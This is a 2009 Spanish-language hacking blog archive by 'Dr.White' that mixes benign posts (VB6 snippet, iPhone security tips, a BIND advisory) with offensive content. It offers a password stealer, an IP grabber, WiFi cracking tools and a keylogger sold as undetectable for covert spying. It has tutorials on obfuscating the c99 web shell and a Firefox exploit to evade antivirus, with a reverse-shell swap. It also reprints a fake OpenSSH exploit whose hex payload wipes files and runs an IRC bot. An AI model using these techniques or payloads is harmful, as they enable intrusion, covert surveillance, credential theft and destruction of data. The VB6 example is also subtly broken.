Mostrando las últimas 31 entradas de un total de 77 de julio 2009 Mostrar las entradas más antiguas
Mostrando las últimas 31 entradas de un total de 77 de julio 2009 Mostrar las entradas más antiguas

viernes 31 de julio de 2009

Tool: Scanner by Stalker

Tool que encuentra tablas sql en PHP y ASP muy buena la recomiendo ya la estube probando ayer...



Descarga: Dark Code

fuente: Dark Code

Saludos
Dr.White

Pen-Test: Epson Status Monitor 3 [LPE]



Basados en http://www.milw0rm.com/exploits/9199 los del grupo hacker Nine:Situations:Group ha encontrado unanueva vulnerabilidad de escalación de privilegios locales nada mas y nada menos que en el sitema de impresiones de epson "epson status monitor 3" no hay muha ciencia en el exploit y no es demaciado crítico pero mas vale prevenir que lamentar porque si combinamos ese tipo de bugs con algunos errores de configuración por otros lugares tendriamos serios problemas, podemos usar algun rootkit que querramos para ayudarnos, espero les sirva.

El bug de epson en milw0rm:
http://milw0rm.com/exploits/9305


Saludos
Dr.White

Tutorial Asm orientado a GNU/LINUX

Este manual lo he comensado a leer hace algunos dias entonces lo quería compartir con ustedes, espero les guste...




guardenlo y leanlo todo está muy bueno 100% recomendado.



Saludos
Dr.White

Programación: Un poco de Visual Basic 6.0

vamos a hacer un programita que te ponga letras en mayusculas o en minusculas segun lo que querramos, agregamos un command, un checkbox y un textbox:


en primer lugar declaramos las variables:

Dim a As String, b As String

luego muy facil

preguntamos si el checkbox está activado:

If Check1.Value = 1 Then

si eso es verdadero vamos a convertir todo en mayusculas

b = LCase(Text1.Text)

y lo mostramos

MsgBox b

de lo contrario

Else

es decir si el checkbox no está seleccionado

a = UCase(Text1.Text)

mostramos

MsgBox a

Consluye:

End If



Ahora el codigo completo será algo como:

Dim a As String, b As String

If Check1.Value = 1 Then
b = LCase(Text1.Text)
MsgBox x
Else
a = UCase(Text1.Text)
MsgBox a
End If



Ahora ya ustedes pueden agregar variantes con radio buttons o incluso poniendole un input segun su conocimiento.


Saludos
Dr.White

Tool: IpGet


Con esta tool podemos sacar la ip de una persona mediante una conversación de messenger y tambien un poco de Ingenieria Social, su uso es muy fácil y muy útil, espero les sirva este programa.



Se necesita tener el MSN PLUS y bueno sirve con windows XP y anteriores o almenos esas se que funcionan sin ningun problema.


Download IP Get:




Saludos
Dr.White

jueves 30 de julio de 2009

Voten por nosotros

Dando click aquí nos están ayudando para subir nuestro ranking en cinco-links espero que nos ayuden con un click diario.



Saludos
Dr.white

Quitando recursos innecesarios

No les ha pasado que inician windows y tienen muchisimos procesos y servicios en segundo plano haciendo tonterias y lo que mas hacen es consumir su memoria... les voy a enseñar a hacer que estos procesos tan molestos se vayan.



1.- Inicio>>Ejecutar ---- services.msc

2.- luego en la ventana damos click derecho sobre el servicio que deseamos deshabilitar.

3.- Escogemos propiedades.

4.- En tipo de inicio ponemos Deshabilitado.


Ahora ya habrán puesto mas rapida su maquina y su memoria se los agradecerá.


Saludos
Dr.White

Grave vulnerabilidad en Blind 9 con exploits públicos


¿Tienes un servidor DNS Bind 9 instalado en alguna de tus máquinas que administras, que no corresponde ni con la versión 9.4.3-P3, 9.5.1-P3 ni la 9.6.1-P1? Pues deja todo lo que estés haciendo.

El 28 de Julio podíamos leer en la página del ISC un advisory sobre una vulnerabilidad que afectaba al servidor Bind, versión 9, con la que se puede provocar una denegación de servicio al sistema dónde se encuentre instalado (que no son pocos en todo el mundo).

La vulnerabilidad afecta a la función dns_db_findrdataset() que se encuentra en el fichero db.c, y que según explica el advisory, falla en caso de que el mensaje de actualización dinámica contenga un registro de tipo "ANY" y si por lo menos un registro RRSet para ese FQDN (Fully Qualified Domain Name) existe ya en el servidor."

Lo más grave de todo es que ya existen exploits públicos que se aprovechan de esta vulnerabilidad. En SecurityFocus podemos encontrarnos este txt que explica como explotar el fallo, y en la lista de seguridad Full-Disclosure, KingCope (el que descubrió no hace mucho el fallo de bypass en WebDav del que os hablamos por aquí) ha publicado una versión del exploit en C.

Así que no hay excusa, hay que actualizar YA de YA.


Fuente



Saludos
Dr.White

miércoles 29 de julio de 2009

Feliz cumple años Dr.White

Bueno el dia de hoy cumplo 16 años, espero que aunque sea me comenten en esta entrada con un Feliz Cumple, hoy no haré ninguna entrada lo siento pero es mi dia de descanso, espero que aun asi lean los otros articulos del blog, mi mejor regalo será que hoy mas que nunca visiten el blog.



Muchas Gracias


Saludos
Dr.White


PD: mañana se harán entradas normalmente.

martes 28 de julio de 2009

Bypasseando Super Simple y Útil

ahora les voy a dar pequeños ejemplos de como bypassear algunos tipos de bloqueos que se nos hacen en siertas webs;


El famoso Registrate para ver imagenes y/o Links en foros SMF...

Ejemplo:

En el siguiente post no podemos ver ninguna Imagen por que son bloqueadas.

http://xtremfiles.com/index.php?topic=28.msg83#new

Entonces lo que haríamos sería añadir lo siguiente:

"action=printpage"

en ves de topic= y poner el topic completo que nos dará como resultado:


O simplemente lo pueden conseguir dando click en el Boton de Imprimir.

[Recalco no se puede en todos los casos]

##################################################

Ahora otro tipo de bypass muy fácil es el típico puedes poner solo 10 caracteres en
tu nombre, esto es muy molesto para los que su nombre tiene 11 letras entonces abrimos
la página del registro con Mozilla Firefox y nos descargamos el Addon Firebug y ahora la tarea es fácil, reiniciamos el Firefox y en nuestra esquina inferior derecha veremos un pequeño insecto le damos click y vamos a la pestaña que dice Html desde ahi podremos editar el html y ahora en el body de la web tenemos que buscar una linea como:

  • usuario:
  • /br
  • input type="text" name="user" maxlength="10"


entonces ahi nosotros con el firebug le daremos click al "10" y lo cambiaremos por el número que querramos y podremos usar felices nuestros nicks.

[Recalco no se puede en todos los casos]

#################################################################

Las típicas descargar que hay que registrarnos en sistemas como Vbulletin... bueno no se si habran visto que les aparecen unas imagenes como de archivos comprimidos y que cuando ves el codigo no salen a donde vas y es muy pesado registrarse pues a veces pasa entonces nosotros cuando damos click al link nos sale algo como esto:

http://vbulletintests.com/login.php?url=http://descargasregistrandote.com/downloads/archivo.rar

pero si el momento de chequear eso no estamos registrados pues nos mandará a http://vbulletintests.com/register.php entonces nosotros vamos a ser mas vivos en el momento que demos click a la imagen de descarga o algo ponemos la X de detener la navegación en nuestro explorador y copiamos tranquilamente la url del archivo .rar o .zip o .tar o lo que quieran.

[Recalco no se puede en todos los casos]

#################################################

Viendo Videos de Megavideo por mas de 70 minutos digamos que tu pelicula dura 80 minutos y te quieres ver toda la pelicula y lamentablemente otro dia ya no podras por que la sacan del internet :S [puede pasar] entonces dices me la veo o me la veo y bueno sin ver la película vamos a a dejar cargando el video al final y cuando llegue al final vamos a poner trabajar sin conexión o para asegurarnos pues apagamos nuestro router y ya.


No hay mucha ciencia solo imaginación ;)



Saludos
Dr.White

Remodelamos el Blog

Es cansado siempre llevar el mismo diseño entonces decidí cambiarle los colores al blog, espero les guste asi como está ahora, por el momento se quedará asi como lo hemos puesto ahora, si no les gusta pues hagan saberlo mediante comentarios y nosotros los regresaremos a como estaba.


gracias.


Saludos
Dr.White

¿Internautas de Hoy, Guerreros del Mañana?


Como siempre andube leyendo muchisimo para aprender mas sobre Seguridad en moviles pero navegando por ahi llegue a una entrada de el-hacker.com.ar que decía que los de Estados Unidos estaban buscando Cyber Ninjas y Cyber Warriors, Esto indica que quieren gente que contra ataque pero... ¿contra que?, se rumora que la siguiente guerra mundial será por el agua pero no lo creo así, el internet lo está volviendo todo mas rápido y mas fácil, todo se está comensando a manejar con redes y todo se está moviendo a través de internet, cosas como Dinero, Encomiendas, Dinero, Productos, Dinero, Comidas y Más Dinero, el dinero cada ves se está llevando en mucha mas cantidad a través de la internet pero... ¿quien lo protege? pues la mayoría de veces confían en supuestos expertos en seguridad que solo llevan un cartón con su nombre que dice que son certificados en la carrera de Seguridad en Sistemas o Seguridad Informática, pero hay gente como nosotros, ustedes y mucha mas gente que sin los estudios de una universidad pueden profanar esos sistemas, no por que sean genios sino por que tienen la práctica, su dia a dia es proteger un sistema, un Black Hat todo el dia trata de vulnerar servidores, de encontrar nuevas vulnerabilidades, el dia a dia de un White Hat es proteger un sistema de que nadie pueda entrar, toda la vida ha sido así no siempre se trata de tener estudios o de tener un rango, la universidad no hace al alumno. Ya existen muchos robos por internet y se han intentado parar con certificados o con programas, pero no siempre se podrán asegurar, no solo lo digo por el dinero en si hay sistemas militares los cuales son vulnerados en su dia a dia, nosotros debemos dar a entender a los Lugares"Mas seguros del mundo en informática" que no existe ningun sitio que sea perfecto y es mejor prevenir que lamentar, los que navegamos tranquilamente hoy, mañan tendremos que ponernos pilas para que nuestra información y datos esten seguros en internet, solo reflexionenlo, ya se clonan identidades en Redes Sociales.



Haré la continuación de este articulo pronto.


Saludos
Dr.White

Pro-Hide Logger V2.4


Es un Programa de Tipo Keylogger con el cual es posible ver todas las teclas digitadas por el Servidor, este programa fue diseñado para control parental, no es detectado por ningun Antivirus y si asi fuese se les da copias para la no detección del mismo, garantizo que es un programa de muy buena calidad, las licencias son baratas y el programa es muy útil en el caso que quieran tener un poco mas monitoreados a sus hij@s o a la gente de su empresa. Con este programa usted podrá ver lo que escriben pero ellos no sabrán que usted los está observando.


Descripcion del Autor:

Con el programa (de tipo Keylogger), usted podrá registrar todas las teclas que han sido pulsadas en el ordenador (chats, claves, páginas visitadas, documentos, actividad local, incluyendo el portapapeles); con su respectiva fecha y título de ventana en que fueron registradas.
(*)El Programa no es detectado por los antivirus, y si asi fuera, estamos dando otra copia que siga siendo indetectable.



Para Adquirir este programa deben de ingresar a la siguiente web:



Espero este software sea de su agrado.


Aquí les dejo una IMG de como sería el historial para que tengan una idea:



Saludos
Dr.White

lunes 27 de julio de 2009

Consejos de Seguridad para el I-Phone

En uno de los portales wiki del iPhone Dev-Team podremos encontrar un post muy curioso con 10 trucos para usuarios del teléfono móvil de Apple, el iPhone, en caso de que vayan a la Defcon 17 que tendrá lugar dentro de unos días en Las Vegas.

Entre estos trucos, nos recopilan consejos dedicados a mantener la seguridad de este dispositivo al meternos en un nido de hackers como es dicho congreso de seguridad.

Este miedo pudimos vivirlo cuando asistimos a la BlackHat EU de este año en Amsterdam, con tanto portátil enchufado, tantos intentos registrados en los firewalls...seguramente había más nmaps corriendo contra los asistentes que croissants para desayunar.
  • Deshabilitar todas las cookies de autenticación en Safari. Todos utilizan la wifi gratuita que ofrece el hotel, y debido al perfil de la gente que asistirá a tal evento, y que seguramente durante muchas de las charlas que tendrán lugar, habrá algún individuo que se dedique a sniffar en vez de permanecer atento, es recomendable no visitar sitios web mediante HTTP cuando requieran autenticación. Se debe forzar la autenticación, y la navegación en algunos casos, en twitter, gmail, google reader, facebook o dónde sea, siempre mediante HTTPS.
  • En caso de poder utilizar una conexión 3G, evitar en la medida de lo posible conectarse mediante las conexiones WIFI de las instalaciones o del propio aeropuerto antes o después de llegar a Las Vegas.
  • Configurar el iPhone para que no se conecte automáticamente a redes wifi conocidas.
  • Utilizar tethering para evitar conectarse mediante wifi también con los portátiles. En caso de poder evitar utilizar la wifi, considerar la opción de utilizar la aplicación Unrestrictor 3G. Esta aplicación evita que multitud de herramientas, como iTunes o Skype, fuercen la conexión mediante wifi en caso de encontrar una red disponible. Cuesta 2$ y se puede comprar a través del respositorio de BigBoss tanto en Icy como en Cydia.
  • Cambiar la contraseña de root y de mobile del iPhone, o desactivar directamente el servidor SSH. Por defecto en los firmwares, la contraseña ha sido "alpine", y siempre se ha utilizado para las conexiones SSH contra los dispositivos. al tener que editar algún fichero de configuración manualmente al tenerlo jailbreakeado y demás. En caso de no querer cambiarla, por lo menos, dejar desactivado el servidor SSH mediante el SBSettings.
Así que ya sabeis: Si pronto vais a asistir a un congreso de seguridad, lo importante es que sólo os preocupeis de a qué charlas asistir y disfrutar de su contenido cuando llegue el momento. Pero antes de marchar al aeropuerto armados con vuestros productos hacker preferidos, tened en cuenta estos pequeños consejos.

Fuente: Securitybydefault


Saludos
Dr.White

Obfuscando Shell(PHP)


De nuevo, vamos a poder comprobar que los antivirus no son capaces de hacer mucho más que comparar con firmas (hashes). Cualquier mínimo nivel de ofuscación se los salta.

En esta "práctica", lo que haremos es subir a virustotal, un conocido servicio de antivirus online, la shell c99.txt, que podría decirse es la más típica shell en php. La subiremos, analizaremos, ofuscaremos y volveremos a subir y analizar. Y el resultado es ... el que todos esperamos. Los siguientes pantallazos ilustran el experimento.

En primer lugar, subimos la shell a virustotal. Por supuesto, casi todos los antivirus la detectan.



Una vez comprobado esto, copiamos el código de la shell y la subimos a codeeclipse, que tiene un servicio online de ofuscación de código php. El proceso es muy sencillo, tal y como vemos a continuación:







Finalmente, subimos la shell ofuscada a virustotal, y ...



Seguramente, cambiando los nombres de las funciones que se llaman c99xxx tendríamos que nuestra shell es totalmente indetectable para los antivirus. De hecho, además de con c99, he probado con otra shell menos conocida y virustotal no la ha detectado tras ofuscarla.

Me gustaría decir que el resultado me ha sorprendido pero, para ser sinceros, me parece que es la confirmación de un hecho por todos conocido.

Fuente

Saludos
Dr.White

domingo 26 de julio de 2009

t00l: Wirless Hack

Esta es la colección de programas para crackear redes Wi-Fi y/o Wireless; espero les agraden...



Algunas:

  • Airopeek
  • Airsnarf 0.2
  • Cqureap
  • WepAttack 0.1.3



Descarga:

Lo Recomiendo en especial por que pueden editar los funcionamientos de algunos Programas...


Saludos
Dr.white

T00l: Password Stealer

Este es un programita útil en algunas ocaciones, lo que hace es robar las contraseñas del MSN, IE6 y IE7, Espero les agrade y usenla con Juicio.


Descarga:


Saludos
Dr.White

sábado 25 de julio de 2009

Ultra Hackers Tool Pack

Este Paquete de Tools hackers son un pocos viejos pero se que les va a servir para los que recien están empesando, se que la mayoría los conocera por que fueron muy buenos en su tiempo pero ahora son un poco arcaícos, espero les sirva. y porfavor no olviden subscribirse para ser lectores de nuestro blog. y comentar en nuestros TEMAS.



Link de Descarga:



Pass:

www.Gold4run.net

Saludos
Dr.White

Obfuscation Para Exploit

con este tuto podrán ver como obfuscar un exploit para que el AntiVirus no lo detecte.


Aprovechando que hace poco salió un exploit para firefox 3.5, vamos a explicar cómo modificarlo para que no lo detecte el antivirus. Es muy sencillo: tan sólo requiere tocar el código html a mano, para quitar los strings que identifican al exploit, y usar un ofuscador online de código javascript.

Para probar este exploit, vamos a necesitar la versión 3.5 del firefox, que puede bajarse de aquí. Además, necesitamos privilegios de admin, porque si no el exploit falla. Esto no lo pone en el report de milw0rm, pero se ve cuando se prueba.

PASO 1: quitar los strings que identifican al exploit.

Si nos fijamos, el exploit contiene los siguientes strings. Todos ellos hay que quitarlos, ya que algún antivirus puede haberlos usado para identificarlo (pese a lo que digan, las heurísticas no se usan demasiado):

Firefox 3.5 Vulnerability
Firefox 3.5 Heap Spray Vulnerabilty
Author: SBerry aka Simon Berry-Byrne
Thanks to HD Moore for the insight and Metasploit for the payload


Y, por supuesto, todas las referencias a milw0rm.com hay que quitarlas también (hay una al final del todo).

PASO 2: ofuscar el código javascript.

Antes de nada, vamos a comprobar que, realmente, nuestro antivirus detecta el exploit. Bajamos el código de milw0rm, lo guardamos como exploit.html y lo intentamos abrir ...



Lo que haremos será ofuscar el código javascript con una herramienta online, una cualquiera, y guardar de nuevo exploit.html. Para ofuscarlo, he elegido ésta herramienta, pero basicamente cualquiera servirá.



Una vez ofuscado:



Y ahora repetimos el proceso: guardamos el código como exploit.html, sustituyendo el javascript por el OFUSCADO y quitando los strings que hacen referencia a que esto es un exploit, lo ejecutamos ... ¡¡y no nos detecta el antivirus!!



El paso final, sería substituir el shellcode de calc.exe por el de una shell inversa, por ejemplo:

char code[] =
"\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa"
[...]


Esta shell puede bajarse de metasploit. Una vez bajada la shell, la pegamos en el exploit original substituyendo a la de calc.exe y ofuscamos todo el javascript con la herramienta online.

Como habéis visto, es relativamente sencillo ofuscar un exploit en un lenguaje complejo, como pueda ser javascript, para que el antivirus no lo detecte.

Fuente: Hacking-Avanzado

Saludos
Dr.White

jueves 23 de julio de 2009

Pen-Test tool: WMAT - pen test a webmail

Esta tool recien la voy a probar pero he oido muy buenas cosas de ella espero que ustedes lo puedan probar y dar su opinion comentando.


USO:


-u usernames_file required (except in passsorter mode)
-p passwords_file required (except in passsorter mode)
-t timeout in seconds !required
-w output_file !required
--url Webmail URL required
--pattern pattern_xml required
--bell Bell on success !required
--proxy Proxy[IP:PORT] !required"
--proxyup Proxy UP [username:password] !required
--passsorter File or Email address !required
Examples:
python wmat.py -u usernames_example.txt -p passwords_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml


Mas Info: aqui
descarga: aqui


Falso Remote Exploit por Anti-Sec para SSH


A estas alturas todos hemos oído hablar del grupo "anti-sec", famoso por hackear imageshack, blackhat-forums y astalavista, aparte de amenazar con hackear milw0rm.



Y, como sabréis, hubo rumores de que había un 0-day para openssh y que era el usado por anti-sec para hacerse con estos sitios. De hecho, desde hace una semana o así, ha habido un considerable aumento en escanos del puerto 22.

El 0-day, que en realidad un script que destroza el OS, es éste:


* ---------------------------
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*
*
* Takes advantage of an off-by-one
* bug in mapped authentication space on system
*/

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";


char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
